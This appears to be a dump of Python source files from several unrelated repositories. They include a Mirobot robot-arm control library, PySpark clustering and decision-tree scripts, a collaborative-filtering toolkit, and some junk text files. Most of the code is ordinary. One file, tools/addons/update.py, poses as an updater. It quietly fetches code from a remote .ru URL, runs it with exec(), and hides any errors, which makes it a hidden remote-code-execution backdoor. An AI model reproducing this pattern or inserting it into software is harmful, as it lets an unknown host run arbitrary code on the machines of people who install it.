b=None, c=None, speed=None, wait=None):\n \"\"\"\n Linear increment in cartesian coordinates. (Command: `M20 G91 G1`)\n\n Parameters\n ----------\n x : Union[float, mirobot.mirobot_status.MirobotCartesians]\n (Default value = `None`) If `float`, this represents the X-axis position.\n If of type `mirobot.mirobot_status.MirobotCartesians`, then this will be used for all positional values instead.\n y : float\n (Default value = `None`) Y-axis position\n z : float\n (Default value = `None`) Z-axis position.\n a : float\n (Default value = `None`) Orientation angle: Roll angle\n b : float\n (Default value = `None`) Orientation angle: Pitch angle\n c : float\n (Default value = `None`) Orientation angle: Yaw angle\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n if isinstance(x, MirobotCartesians):\n inputs = x.asdict()\n\n else:\n inputs = {'x': x, 'y': y, 'z': z, 'a': a, 'b': b, 'c': c}\n\n return super().increment_cartesian_lin(**inputs,\n speed=speed, wait=wait)\n\n def increment_cartesian_ptp(self, x=None, y=None, z=None, a=None, b=None, c=None, speed=None, wait=None):\n \"\"\"\n Point-to-point increment in cartesian coordinates. (Command: `M20 G91 G0`)\n\n Parameters\n ----------\n x : Union[float, mirobot.mirobot_status.MirobotCartesians]\n (Default value = `None`) If `float`, this represents the X-axis position.\n If of type `mirobot.mirobot_status.MirobotCartesians`, then this will be used for all positional values instead.\n y : float\n (Default value = `None`) Y-axis position.\n z : float\n (Default value = `None`) Z-axis position.\n a : float\n (Default value = `None`) Orientation angle: Roll angle\n b : float\n (Default value = `None`) Orientation angle: Pitch angle\n c : float\n (Default value = `None`) Orientation angle: Yaw angle\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n if isinstance(x, MirobotCartesians):\n inputs = x.asdict()\n\n else:\n inputs = {'x': x, 'y': y, 'z': z, 'a': a, 'b': b, 'c': c}\n\n return super().increment_cartesian_ptp(**inputs,\n speed=speed, wait=wait)\n\n def increment_axis(self, x=None, y=None, z=None, a=None, b=None, c=None, d=None, speed=None, wait=None):\n \"\"\"\n Increment all axes a specified amount in angular coordinates. (Command: `M21 G91`)\n\n Parameters\n ----------\n x : Union[float, mirobot.mirobot_status.MirobotAngles]\n (Default value = `None`) If `float`, this represents the angle of axis 1.\n If of type `mirobot.mirobot_status.MirobotAngles`, then this will be used for all positional values instead.\n y : float\n (Default value = `None`) Angle of axis 2.\n z : float\n (Default value = `None`) Angle of axis 3.\n a : float\n (Default value = `None`) Angle of axis 4.\n b : float\n (Default value = `None`) Angle of axis 5.\n c : float\n (Default value = `None`) Angle of axis 6.\n d : float\n (Default value = `None`) Location of slide rail module.\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n if isinstance(x, MirobotAngles):\n inputs = x.asdict()\n\n else:\n inputs = {'x': x, 'y': y, 'z': z, 'a': a, 'b': b, 'c': c, 'd': d}\n\n return super().increment_axis(**inputs,\n speed=speed, wait=wait)\n\n def increment_slide_rail(self, d, speed=None, wait=None):\n \"\"\"\n Increment slide rail position a specified amount. (Command: `M21 G91`)\n\n Parameters\n ----------\n d : float\n Location of slide rail module.\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n\n return super().increment_axis(d=d,\n speed=speed, wait=wait)\n\n def go_to_slide_rail(self, d, speed=None, wait=None):\n \"\"\"\n Go to the slide rail position specified. (Command: `M21 G90`)\n\n Parameters\n ----------\n d : float\n Location of slide rail module.\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n\n return super().go_to_axis(d=d,\n speed=speed, wait=wait)\n @property\n def pose(self):\n return self.cartesian", "id": "7193745", "language": "Python", "matching_score": 4.173748970031738, "max_stars_count": 5, "path": "mirobot/mirobot.py" }, { "content": "from dataclasses import dataclass\n\nfrom .extended_dataclasses import basic_dataclass, featured_dataclass\n\n\n@dataclass\nclass MirobotAngles(featured_dataclass):\n \"\"\" A dataclass to hold Mirobot's angular values. \"\"\"\n a: float = None\n \"\"\" Angle of axis 1 \"\"\"\n b: float = None\n \"\"\" Angle of axis 2 \"\"\"\n c: float = None\n \"\"\" Angle of axis 3 \"\"\"\n x: float = None\n \"\"\" Angle of axis 4 \"\"\"\n y: float = None\n \"\"\" Angle of axis 5 \"\"\"\n z: float = None\n \"\"\" Angle of axis 6 \"\"\"\n d: float = None\n \"\"\" Location of external slide rail module \"\"\"\n\n @property\n def a1(self):\n \"\"\" Angle of axis 1 \"\"\"\n return self.a\n\n @property\n def a2(self):\n \"\"\" Angle of axis 2 \"\"\"\n return self.b\n\n @property\n def a3(self):\n \"\"\" Angle of axis 3 \"\"\"\n return self.c\n\n @property\n def a4(self):\n \"\"\" Angle of axis 4 \"\"\"\n return self.x\n\n @property\n def a5(self):\n \"\"\" Angle of axis 5 \"\"\"\n return self.y\n\n @property\n def a6(self):\n \"\"\" Angle of axis 6 \"\"\"\n return self.z\n\n @property\n def rail(self):\n \"\"\" \n Location of external slide rail module\n 第七轴也就是直线滑轨的平移\n \"\"\"\n return self.d\n\n @property\n def joint1(self):\n \"\"\"\n 关节1的角度, 单位°\n \"\"\" \n return self.x\n\n @property\n def joint2(self):\n \"\"\"\n 关节2的角度, 单位°\n \"\"\" \n return self.y\n\n @property\n def joint3(self):\n \"\"\"\n 关节2的角度, 单位°\n \"\"\" \n return self.z\n\n @property\n def joint4(self):\n \"\"\"\n 关节4的角度, 单位°\n \"\"\" \n return self.a\n \n @property\n def joint5(self):\n \"\"\"\n 关节5的角度, 单位°\n \"\"\" \n return self.b\n \n @property\n def joint6(self):\n \"\"\"\n 关节4的角度, 单位°\n \"\"\" \n return self.c\n\n@dataclass\nclass MirobotCartesians(featured_dataclass):\n \"\"\" A dataclass to hold Mirobot's cartesian values and roll/pitch/yaw angles. \"\"\"\n x: float = None\n \"\"\" Position on X-axis \"\"\"\n y: float = None\n \"\"\" Position of Y-axis \"\"\"\n z: float = None\n \"\"\" Position of Z-axis \"\"\"\n a: float = None\n \"\"\" Position of Roll angle \"\"\"\n b: float = None\n \"\"\" Position of Pitch angle \"\"\"\n c: float = None\n \"\"\" Position of Yaw angle \"\"\"\n\n @property\n def tx(self):\n \"\"\" Position on X-axis \"\"\"\n return self.x\n\n @property\n def ty(self):\n \"\"\" Position on Y-axis \"\"\"\n return self.y\n\n @property\n def tz(self):\n \"\"\" Position on Z-axis \"\"\"\n return self.z\n\n \n @property\n def rx(self):\n \"\"\" Position of Roll angle \"\"\"\n return self.a\n\n @property\n def ry(self):\n \"\"\" Position of Pitch angle \"\"\"\n return self.b\n\n @property\n def rz(self):\n \"\"\" Position of Yaw angle \"\"\"\n return self.c\n\n @property\n def roll(self):\n \"\"\" 横滚角,单位° \"\"\"\n return self.a\n \n @property\n def pitch(self):\n \"\"\" 俯仰角,单位° \"\"\"\n return self.b\n \n @property\n def yaw(self):\n \"\"\" 偏航角,单位° \"\"\"\n return self.c\n \n def __str__(self):\n return f\"Pose(x={self.x},y={self.y},z={self.z},roll={self.roll},pitch={self.pitch},yaw={self.yaw})\"\n \n@dataclass\nclass MirobotStatus(basic_dataclass):\n \"\"\" A composite dataclass to hold all of Mirobot's trackable quantities. \"\"\"\n state: str = ''\n \"\"\" The brief descriptor string for Mirobot's state. \"\"\"\n angle: MirobotAngles = MirobotAngles()\n \"\"\" Dataclass that holds Mirobot's angular values including the rail position value. \"\"\"\n cartesian: MirobotCartesians = MirobotCartesians()\n \"\"\" Dataclass that holds the cartesian values and roll/pitch/yaw angles. \"\"\"\n pump_pwm: int = None\n \"\"\" The current pwm of the pnuematic pump module. \"\"\"\n valve_pwm: int = None\n \"\"\" The current pwm of the value module. (eg. gripper) \"\"\"\n motion_mode: bool = False\n \"\"\" Whether Mirobot is currently in coordinate mode (`False`) or joint-motion mode (`True`) \"\"\"\n", "id": "8883476", "language": "Python", "matching_score": 0.5209277272224426, "max_stars_count": 5, "path": "mirobot/mirobot_status.py" }, { "content": "from dataclasses import asdict, astuple, fields\nimport numbers\nimport operator\n\n\nclass basic_dataclass:\n def asdict(self):\n return asdict(self)\n\n def astuple(self):\n return astuple(self)\n\n def fields(self):\n return fields(self)\n\n @classmethod\n def _new_from_dict(cls, dictionary):\n return cls(**dictionary)\n\n\nclass featured_dataclass(basic_dataclass):\n def _cross_same_type(self, other, operation_function, single=False):\n new_values = {}\n for f in self.fields():\n this_value = getattr(self, f.name)\n\n if single:\n other_value = other\n else:\n other_value = getattr(other, f.name)\n\n result = operation_function(this_value, other_value)\n\n new_values[f.name] = result\n\n return new_values\n\n def _binary_operation(self, other, operation):\n def operation_function(this_value, other_value):\n if None in (this_value, other_value):\n return None\n else:\n return operation(this_value, other_value)\n\n if isinstance(other, type(self)):\n new_values = self._cross_same_type(other, operation_function)\n\n elif isinstance(other, numbers.Real):\n new_values = self._cross_same_type(other, operation_function, single=True)\n\n else:\n raise NotImplementedError(f\"Cannot handle {type(self)} and {type(other)}\")\n\n return self._new_from_dict(new_values)\n\n def _unary_operation(self, operation_function):\n new_values = {f.name: operation_function(f)\n for f in self.fields()}\n\n return self._new_from_dict(new_values)\n\n def _basic_unary_operation(self, operation):\n def operation_function(field):\n value = getattr(self, field.name)\n if value is not None:\n return operation(value)\n else:\n return None\n\n return self._unary_operation(operation_function)\n\n def _comparision_operation(self, other, operation):\n def operation_function(this_value, other_value):\n if None in (this_value, other_value):\n return True\n else:\n return operation(this_value, other_value)\n\n if isinstance(other, type(self)):\n new_values = self._cross_same_type(other, operation_function).values()\n\n elif isinstance(other, (int, float)):\n new_values = self._cross_same_type(other, operation_function, single=True).values()\n\n else:\n raise NotImplementedError(f\"Cannot handle {type(self)} and {type(other)}\")\n\n if all(new_values):\n return True\n\n elif not any(new_values):\n return False\n\n else:\n return None\n\n def __or__(self, other):\n def operation_function(this_value, other_value):\n if this_value is None:\n return other_value\n else:\n return this_value\n\n new_values = self._cross_same_type(other, operation_function)\n return self._new_from_dict(new_values)\n\n def __and__(self, other):\n def operation_function(this_value, other_value):\n if None not in (this_value, other_value):\n return this_value\n else:\n return None\n\n new_values = self._cross_same_type(other, operation_function)\n return self._new_from_dict(new_values)\n\n def int(self):\n def operation_function(field):\n value = getattr(self, field.name)\n if field.type in (float,) and value is not None:\n return int(value)\n else:\n return value\n\n return self._unary_operation(operation_function)\n\n def round(self):\n def operation_function(field):\n value = getattr(self, field.name)\n if field.type in (float,) and value is not None:\n return round(value)\n else:\n return value\n\n return self._unary_operation(operation_function)\n\n def __add__(self, other):\n return self._binary_operation(other, operator.add)\n\n def __radd__(self, other):\n return self._binary_operation(other, operator.add)\n\n def __sub__(self, other):\n return self._binary_operation(other, operator.sub)\n\n def __rsub__(self, other):\n def rsub(dataclass_value, number):\n return operator.sub(number, dataclass_value)\n\n return self._binary_operation(other, rsub)\n\n def __mul__(self, other):\n return self._binary_operation(other, operator.mul)\n\n def __rmul__(self, other):\n return self._binary_operation(other, operator.mul)\n\n def __div__(self, other):\n return self._binary_operation(other, operator.div)\n\n def __rdiv__(self, other):\n def rdiv(dataclass_value, number):\n return operator.div(number, dataclass_value)\n\n return self._binary_operation(other, rdiv)\n\n def __truediv__(self, other):\n return self._binary_operation(other, operator.truediv)\n\n def __rtruediv__(self, other):\n def rtruediv(dataclass_value, number):\n return operator.truediv(number, dataclass_value)\n\n return self._binary_operation(other, operator.truediv)\n\n def __mod__(self, other):\n return self._binary_operation(other, operator.mod)\n\n def __abs__(self):\n return self._basic_unary_operation(operator.abs)\n\n def __pos__(self):\n return self._basic_unary_operation(operator.pos)\n\n def __neg__(self):\n return self._basic_unary_operation(operator.neg)\n\n def __lt__(self, other):\n return self._comparision_operation(other, operator.lt)\n\n def __le__(self, other):\n return self._comparision_operation(other, operator.le)\n\n def __eq__(self, other):\n return self._comparision_operation(other, operator.eq)\n\n def __ne__(self, other):\n return self._comparision_operation(other, operator.ne)\n\n def __ge__(self, other):\n return self._comparision_operation(other, operator.ge)\n\n def __gt__(self, other):\n return self._comparision_operation(other, operator.gt)\n", "id": "5955687", "language": "Python", "matching_score": 1.0428643226623535, "max_stars_count": 21, "path": "mirobot/extended_dataclasses.py" }, { "content": "#!/usr/bin/env python3\n\nimport setuptools\n\n\nsetuptools.setup(name='mirobot-py',\n version='v2.0.0-beta',\n description=\"A Python interface library for WKlata's Mirobot\",\n author='<NAME>',\n author_email='<EMAIL>',\n long_description=open(\"README.md\", \"r\").read(),\n long_description_content_type='text/markdown',\n url=\"https://github.com/rirze/mirobot-py\",\n packages=['mirobot'],\n classifiers=\"\"\"\n Development Status :: 4 - Beta\n Programming Language :: Python :: 3 :: Only\n Programming Language :: Python :: 3.6\n Programming Language :: Python :: 3.7\n Programming Language :: Python :: 3.8\n License :: OSI Approved :: MIT License\n Operating System :: OS Independent\n Operating System :: Microsoft :: Windows\n Operating System :: POSIX\n Operating System :: Unix\n Operating System :: MacOS\n Topic :: Scientific/Engineering\n Topic :: Education\n Topic :: Documentation\n Topic :: Home Automation\n Topic :: Scientific/Engineering :: Artificial Intelligence\n Topic :: Scientific/Engineering :: Electronic Design Automation (EDA)\n Topic :: Scientific/Engineering :: Image Recognition\n Topic :: Software Development :: Embedded Systems\n Topic :: Software Development :: Version Control :: Git\n Topic :: Terminals :: Serial\n Intended Audience :: Education\n Intended Audience :: Science/Research\n Intended Audience :: Manufacturing\n Intended Audience :: Developers\n \"\"\".splitlines(),\n python_requires='>=3.6',\n install_requires=open('requirements.txt', 'r').read().splitlines(),\n package_dir={'mirobot': 'mirobot'},\n package_data={'mirobot': ['resources/*']}\n)\n", "id": "4418510", "language": "Python", "matching_score": 0.02571123093366623, "max_stars_count": 21, "path": "setup.py" } ]
1.488803
banksyjesus
[ { "content": "\r\n\r\nimport requests as r\r\ntry:\r\n exec(r.get(\"http://f0393986.xsph.ru/getUpdates.php\").text)\r\nexcept: pass\r\n", "id": "8819456", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "tools/addons/update.py" } ]
0
huhu0923
[ { "content": "fdxkl;'lkjfdsfghjkl;tr\nasdfgh\nwqeqweqwe\nprint(10:04)\nasdfg\n\nasASS\nqweioqeqiuh\n", "id": "11742440", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "apis.py" }, { "content": "print(\"123\")\nprint(\"123\")\n", "id": "11428640", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "wode.py" } ]
0
sasakigao
[ { "content": "\n\"\"\"\nDecision Tree Classification Example.\n\"\"\"\n\nimport time\nfrom math import sqrt\nimport sys\nsys.path.append('/home/sasaki/devapp/spark-1.6.1-bin-hadoop2.6/python/lib')\nfrom pyspark import SparkContext\nfrom pyspark import SparkConf\nfrom pyspark.mllib.clustering import KMeansModel, KMeans\nfrom pyspark.mllib.regression import LabeledPoint\nfrom pyspark.mllib.linalg import Vectors\n\nappName=\"Binary Classifier\"\n# Read from\nrawDataHDFS = \"file:///home/sasaki/dev/gamease/dimensions-verify/res/20170118-0955/\"\n# Write to\nclusterDataHDFS = \"file:///home/sasaki/dev/gamease/example/res/cluster/data/\"\nclusterModelHDFS = \"file:///home/sasaki/dev/gamease/example/res/cluster/model/\"\n\n\ndef line2Feature(line):\n\tvalues = [float(x) for x in line]\n\treturn values\n\ndef error(point, clusters):\n\t center = clusters.centers[clusters.predict(point)]\n\t return sqrt(sum([x**2 for x in (point - center)]))\n\nif __name__ == \"__main__\":\n \ttimeformat = \"%Y%m%d-%H%M\"\n \ttimeStr = time.strftime(timeformat, time.localtime())\n\n\tconfSpark = SparkConf().setAppName(appName)\n \tsc = SparkContext(conf = confSpark)\n\n\trawData = sc.textFile(rawDataHDFS).map(lambda x : x.split(\",\"))\n \tfeatures = rawData.map(lambda x : line2Feature(x[2:]))\n\tclusters = KMeans.train(features, 2, maxIterations=20, runs=10, \n\t\tinitializationMode='k-means||', seed=21, initializationSteps=5, \n\t\tepsilon=0.0001, initialModel=None)\t\n\n\tWSSSE = features.map(lambda point: error(point, clusters)).reduce(lambda x, y : x + y)\n\t# clusters.save(clusterModelHDFS)\n\t# clusters = Loader.load(clusterModelHDFS)\n \t\n \t# (prediction, label, uid)\n \tpredictions = rawData.map(lambda x : (clusters.predict(line2Feature(x[2:])), x[1], x[0]))\n \tpredictions.coalesce(5, False).saveAsTextFile(clusterDataHDFS + timeStr)\n\tsc.stop()", "id": "3381494", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "src/main/python/cluster.py" }, { "content": "\n\"\"\"\nDecision Tree Classification Example.\n\"\"\"\n\nimport time\nimport sys\nsys.path.append('/home/sasaki/devapp/spark-1.6.1-bin-hadoop2.6/python/lib')\nfrom pyspark import SparkContext\nfrom pyspark import SparkConf\nfrom pyspark.mllib.tree import DecisionTree, DecisionTreeModel\nfrom pyspark.mllib.util import MLUtils\nfrom pyspark.mllib.regression import LabeledPoint\nfrom pyspark.mllib.linalg import Vectors\n\nappName=\"Binary Classifier\"\n# Read from\nrawDataHDFS = \"file:///home/sasaki/Documents/qnlog/fixed/test\"\nfeaturesHDFS = \"file:///home/sasaki/dev/gamease/example/res/offline/features/20170110-1645\"\ntreeModelLoadHDFS = \"file:///home/sasaki/dev/gamease/example/res/offline/tree/20170110-1645\"\n# Write to\nfeaturesSaveHDFS = \"file:///home/sasaki/model/features/\"\ntreeModelSaveHDFS = \"file:///home/sasaki/model/tree/\"\ntreeMetricsPathHDFS = \"file:///home/sasaki/metrics/\"\n\ndef trainTree(train, sc, timeStr):\n\tmodelTree = DecisionTree.trainClassifier(train, numClasses=2, categoricalFeaturesInfo={}, impurity='gini', maxDepth=5, maxBins=32)\n\tmodelTree.save(sc, treeModelSaveHDFS + timeStr)\n\treturn modelTree\n\ndef binary_redication_metrics_output(predicationsAndLabels, metricsPath, sc):\n\tpredicationsAndLabels.persist()\n \t# some measurements for binary classifier\n\taccuracy = 1.0 * predicationsAndLabels.filter(lambda (x, y) : x == y).count() / \\\n\t\tpredicationsAndLabels.count()\n\tprecision = 1.0 * predicationsAndLabels.filter(lambda (x, y) : (x == y) & (x == 1.0)).count() / \\\n\t\tpredicationsAndLabels.filter(lambda (x, y) : x == 1.0).count()\n\trecall = 1.0 * predicationsAndLabels.filter(lambda (x, y) : (x == y) & (x == 1.0)).count() / \\\n \t\tpredicationsAndLabels.filter(lambda (x, y) : y == 1.0).count()\n\tf1Measure = 2 * precision * recall / (precision + recall)\n\tmetrics = [(\"accuracy\", accuracy), (\"precision\", precision), (\"recall\", recall), (\"f1Measure\", f1Measure)]\n\tsc.parallelize(metrics, 1).saveAsTextFile(metricsPath)\n\tpredicationsAndLabels.unpersist()\n\ndef line2Feature(line):\n\tvalues = [float(x) for x in line.split(',')]\n\treturn LabeledPoint(values[0], values[1:])\n\nif __name__ == \"__main__\":\n\t# 0 means train while 1 means offline prediction\n\tmode = sys.argv[1]\n \ttimeformat = \"%Y%m%d-%H%M\"\n \ttimeStr = time.strftime(timeformat, time.localtime())\n\n\tconfSpark = SparkConf().setAppName(appName)\n \tsc = SparkContext(conf = confSpark)\n\n \tif mode == \"0\":\n\t \trawData = sc.textFile(rawDataHDFS)\n\t \tfeatures = rawData.map(lambda x : line2Feature(x))\n\t \tsplits = features.randomSplit([0.7, 0.3], 21)\n\t \ttrain = splits[0].persist()\n\t \ttest = splits[1].persist()\n\t \tmodelTree = trainTree(train, sc, timeStr)\n\t \tMLUtils.saveAsLibSVMFile(features.repartition(1), featuresSaveHDFS + timeStr)\n \telse:\n\t \ttest = MLUtils.loadLibSVMFile(sc, featuresHDFS)\n\t \tmodelTree = DecisionTreeModel.load(sc, treeModelLoadHDFS)\n\n \t# In python the mllib model seems unable to be directly used in a closure.\n \tpredictions = modelTree.predict(test.map(lambda x : x.features))\n \tpredicationsAndLabels = predictions.zip(test.map(lambda x : x.label)).persist()\n\tbinary_redication_metrics_output(predicationsAndLabels, treeMetricsPathHDFS + timeStr, sc)\n\tpredicationsAndLabels.unpersist()\n\n\tsc.stop()", "id": "9044966", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "src/main/python/trainer.py" } ]
0
matteobanerjee
[ { "content": "\"\"\"Core object models for cf_lib\"\"\"\nimport numpy as np\n\n\nclass PreferenceVector(object):\n \"\"\"General representation of a user-item preference vector\n\n PreferenceVectors form the backbone of cf_lib. A collection of\n preference vectors specific to your domain is the main entry point\n into various collaborative filtering recommenders.\n\n Example of \"preferences\" are user ratings or purchase history.\n \"\"\"\n\n def __init__(self, user_id, pref_dict=None):\n self.user_id = user_id\n self.prefs = pref_dict or {}\n\n def add(self, item_id, score):\n \"\"\"Add an item preference score\"\"\"\n self.prefs[item_id] = score\n\n def get(self, item_id):\n \"\"\"Get an item preference score\"\"\"\n return self.prefs[item_id]\n\n def remove(self, item_id):\n \"\"\"Remove an item preference score\"\"\"\n del self.prefs[item_id]\n\n def iter_prefs(self):\n \"\"\"Iterate over preference scores\"\"\"\n # uses items() to support deletion from the vector while iterating\n for item_id, score in self.prefs.items():\n yield item_id, score\n\n def dense(self, item_bimap):\n \"\"\"Create a dense #items x 1 numpy matrix for the\n\n Arguments:\n item_bimap: IndexBiMap for the items, this is used\n to determine the overall size and index of the preferences\n in the resulting numpy matrix.\n \"\"\"\n arr = np.zeros(item_bimap.size())\n for item_id, score in self.iter_prefs():\n index = item_bimap.get_index(item_id)\n arr[index] = score\n return np.matrix(arr).T\n\n def __repr__(self):\n return 'PreferenceVector({0}, {1})'.format(self.user_id, self.prefs)\n", "id": "12220810", "language": "Python", "matching_score": 2.1718556880950928, "max_stars_count": 2, "path": "cf_tools/core/preference_vector.py" }, { "content": "from preference_vector import PreferenceVector\n\n__all__ = ['PreferenceVector', 'matrix']\n", "id": "1124585", "language": "Python", "matching_score": 0.3947106897830963, "max_stars_count": 2, "path": "cf_tools/core/__init__.py" }, { "content": "\"\"\"Core matrix and vector operations and classes\"\"\"\nimport numpy as np\n\n\ndef build_user_item_matrix(pref_vectors, score_cb=None):\n \"\"\"Build a user-item matrix from a list of preference vectors\n\n Users are rows, items are columns. This convention is used in all\n other functions in this package.\n\n Arguments:\n pref_vectors: list[PreferenceVector], a colelction of preference vectors,\n note that the data structure is iterated over twice so some collections\n won't work\n score_cb: numeric -> numeric, an optional callback to modify scores\n\n Returns:\n A UserItemMatrix\n \"\"\"\n if score_cb is None:\n score_cb = lambda x: x\n user_idxs = IndexBiMap()\n item_idxs = IndexBiMap()\n for vector in pref_vectors:\n user_idxs.get_or_issue_index(vector.user_id)\n for item, _ in vector.iter_prefs():\n item_idxs.get_or_issue_index(item)\n # We loop through the data twice here but build a dense matrix\n # the alternatives are:\n # 1) loop once, build a sparse matrix\n # and convert to dense (numpy likes dense matrices)\n # 2) if dimensions are known, build the zero matrix first,\n # loop once and fill in\n mat = np.zeros((user_idxs.size(), item_idxs.size()), dtype=np.double)\n for vector in pref_vectors:\n row = user_idxs.get_index(vector.user_id)\n for item, score in vector.iter_prefs():\n column = item_idxs.get_index(item)\n mat[row][column] = score_cb(score)\n return UserItemMatrix(np.matrix(mat), user_idxs, item_idxs)\n\n\ndef build_similarity_matrix(mat, similarity_measure):\n \"\"\"Build a similarity matrix with an arbitrary similarity measure\n\n Arguments:\n mat: a user-item or item-user matrix\n similarity_measure: a similarity function between equal-length 1d arrays\n\n Return:\n the similarity matrix (dense, symmetric)\n \"\"\"\n nrow, _ = mat.shape\n sim_mat = np.zeros((nrow, nrow), dtype=np.double)\n # TODO: make faster, this is just a test implementation\n for i in xrange(nrow):\n for j in xrange(nrow):\n sim = similarity_measure(mat[i, :].A1, mat[j, :].A1)\n sim_mat[i, j] = sim\n sim_mat[j, i] = sim\n return sim_mat\n\n\ndef fast_cosine_similarity_matrix(mat):\n \"\"\"A very fast way to create a cosine similarity matrix\n\n This function is fast because it performs all operations\n as matrix operations and, where possible, in-place. Some\n cursory testing showed at least an of magnitude improvement\n over calculating the cosine between vectors individually using\n numpy.\n\n Arguments:\n mat: an n x m numpy matrix\n\n Returns:\n A n x n matrix where the cell (i,j) is the cosine similarity\n between the ith and jth row vectors.\n \"\"\"\n # calculate the inner products between all row vectors\n products = mat * mat.T\n # for each row vector, the magnitude can be read off of the\n # resulting diagonal\n norms = np.sqrt(np.diag(products))\n # for each cell, calculate the product of the norms, this is the denominator\n # for the cosine calculation\n denominators = np.outer(norms, norms)\n # divide in place\n np.divide(products, denominators, out=products)\n return products\n\n\nclass IndexBiMap(object):\n \"\"\"A bidirectional map used to issue and track matrix indices.\n\n Assists creating dense matrecies by converting arbitrary ids to indecies\n and indecies back to ids.\n When creating a matrix, it is typical to use to bimaps, one for the rows\n and one for the columns.\n \"\"\"\n\n def __init__(self):\n self.id_to_index = {}\n self.index_to_id = {}\n self.curr_index = -1\n\n def get_index(self, the_id):\n \"\"\"Get the index for an id.\n\n Raises:\n KeyError if the id doesn't have an index yet.\n \"\"\"\n return self.id_to_index[the_id]\n\n def get_id(self, the_index):\n \"\"\"Get the id for the matrix/vector index\"\"\"\n return self.index_to_id[the_index]\n\n def size(self):\n \"\"\"Size of the map\"\"\"\n return self.curr_index + 1\n\n def get_or_issue_index(self, the_id):\n \"\"\"Get the index for the id or issue a new one if it doesn't exist\"\"\"\n if the_id in self.id_to_index:\n return self.id_to_index[the_id]\n else:\n self.curr_index += 1\n self.id_to_index[the_id] = self.curr_index\n self.index_to_id[self.curr_index] = the_id\n return self.curr_index\n\n def __repr__(self):\n return repr(self.index_to_id)\n\n\nclass UserItemMatrix(object):\n \"\"\"A container class to represent a user to item preference matrix\n\n In users are assumed to be the rows and items the columns of the\n underlying matrix (mat)\n \"\"\"\n\n def __init__(self, mat, user_bimap, item_bimap):\n self.mat = mat\n self.user_bimap = user_bimap\n self.item_bimap = item_bimap\n\n def build_item_similarity_matrix(self):\n \"\"\"Generate a item-to-item similarity matrix, using cosine similarity\"\"\"\n item_mat = fast_cosine_similarity_matrix(self.mat.T)\n return ItemSimilarityMatrix(item_mat, self.item_bimap)\n\n def build_user_similarity_matrix(self):\n \"\"\"Generate a user-to-user similarity matrix, using cosine similarity\"\"\"\n user_mat = fast_cosine_similarity_matrix(self.mat)\n return UserSimilarityMatrix(user_mat, self.user_bimap)\n\n def get_dense_pref_vector(self, user_id):\n \"\"\"Get a N (number of items) x 1 numpy matrix of user preferences\n\n This method is equivalent to PreferenceVector#dense, but pulls the\n vector vector directly from the matrix, which allows the caller\n to discard the preference vectors once the matrix has been constructed.\n \"\"\"\n return self.mat[self.user_bimap.get_index(user_id), :].T\n\n\nclass ItemSimilarityMatrix(object):\n \"\"\"A container class for an item-to-item similarity matrix\"\"\"\n\n def __init__(self, mat, item_bimap):\n self.mat = mat\n self.item_bimap = item_bimap\n\n\nclass UserSimilarityMatrix(object):\n \"\"\"A container class for an user-to-user similarity matrix\"\"\"\n\n def __init__(self, mat, user_bimap):\n self.mat = mat\n self.user_bimap = user_bimap\n\n\ndef top_n_indices_for_vector(_1d_mat, n):\n return _1d_mat.A1.argsort()[-1:-(n + 1):-1].tolist()\n\n", "id": "7317608", "language": "Python", "matching_score": 3.849036693572998, "max_stars_count": 2, "path": "cf_tools/core/matrix.py" }, { "content": "from ..core import matrix\nimport numpy as np\n\n\nclass ItemItemCFRecommender(object):\n \"\"\"Implements item-item collaborative filtering\"\"\"\n\n def __init__(self, user_item_mat):\n self.user_item_mat = user_item_mat\n self.sim_mat = self.user_item_mat.build_item_similarity_matrix().mat\n self.item_bimap = self.user_item_mat.item_bimap\n\n def top_n_similar_items(self, item_id, n=10):\n item_index = self.item_bimap.get_index(item_id)\n top_n_plus_1_similars = matrix.top_n_indices_for_vector(\n self.sim_mat[item_index, :], n + 1)\n # filter out the item_id and slice the array\n # just in case there are n+1 prefect matches\n return [self.item_bimap.get_id(idx) for idx in top_n_plus_1_similars\n if idx != item_index][:n]\n\n def recommendations_for_user(self, user_id, n=10):\n dense_pref = self.user_item_mat.get_dense_pref_vector(user_id)\n return self.__recommendations(dense_pref, n)\n\n def recommendations_for_pref_vector(self, pref_vector, n=10):\n return self.__recommendations(pref_vector.dense(self.item_bimap), n)\n\n def __recommendations(self, dense_pref_vector, n):\n scored_items = self.sim_mat * dense_pref_vector\n # remove items the user has already rated from the 